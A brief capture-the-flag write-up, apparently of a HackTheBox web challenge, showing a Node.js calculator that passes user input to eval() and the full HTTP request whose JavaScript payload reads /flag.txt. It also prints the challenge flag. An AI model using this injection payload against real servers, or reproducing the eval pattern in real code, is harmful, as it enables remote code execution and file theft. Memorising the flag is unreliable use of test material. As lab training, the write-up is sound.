

1) Checked source code

```
JS calculatorHelper.js x
helpers > JS calculatorHelper.js
1  module.exports = {
2    calculate(formula) {
3      try {
4        return eval(`(function() { return ${ formula } ;}())`);
5      } catch (e) {
6        if (e instanceof SyntaxError) {
7          return 'Something went wrong!';
8        }
9      }
10   }
11 }
12 }
13
14
15 // ocd
```

There is a eval usage

```
JS index.js X
routes > JS index.js
1  const path      = require('path');
2  const express   = require('express');
3  const router    = express.Router();
4  const Calculator = require('../helpers/calculatorHelper');
5
6  const response = data => ({ message: data });
7
8  router.get('/', (req, res) => {
9    return res.sendFile(path.resolve('views/index.html'));
10 });
11
12 router.post('/api/calculate', (req, res) => {
13   let { formula } = req.body;
14
15   if (formula) {
16     result = Calculator.calculate(formula);
17     return res.send(response(result));
18   }
19
20   return res.send(response('Missing parameters'));
21 })
22
23 module.exports = router;
24
25 // ocd
```

The input is not being sanitized, we can inject js code

2) Got the flag

Request	Response	Inspector
<pre>1 POST /api/calculate HTTP/1.1 2 Host: 94.237.63.201:30752 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: */* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Referer: http://94.237.63.201:30752/ 8 Content-Type: application/json 9 Content-Length: 64 10 Origin: http://94.237.63.201:30752 11 Connection: close 12 13 { "formula": "require('fs').readFileSync('/flag.txt').toString()" }</pre>	<pre>1 HTTP/1.1 200 OK 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 48 5 ETag: W/"30-Z45ILjsxWlV/OGltLY7H3pai0c" 6 Date: Tue, 04 Jun 2024 06:01:40 GMT 7 Connection: close 8 9 { "message": "HTB{c4lcu4t3d_my_w4y_thr0ugh_rc3}" }</pre>	<div>Inspector</div> <div>Request attributes 2</div> <div>Request query parameters 0</div> <div>Request cookies 0</div> <div>Request headers 10</div> <div>Response headers 6</div>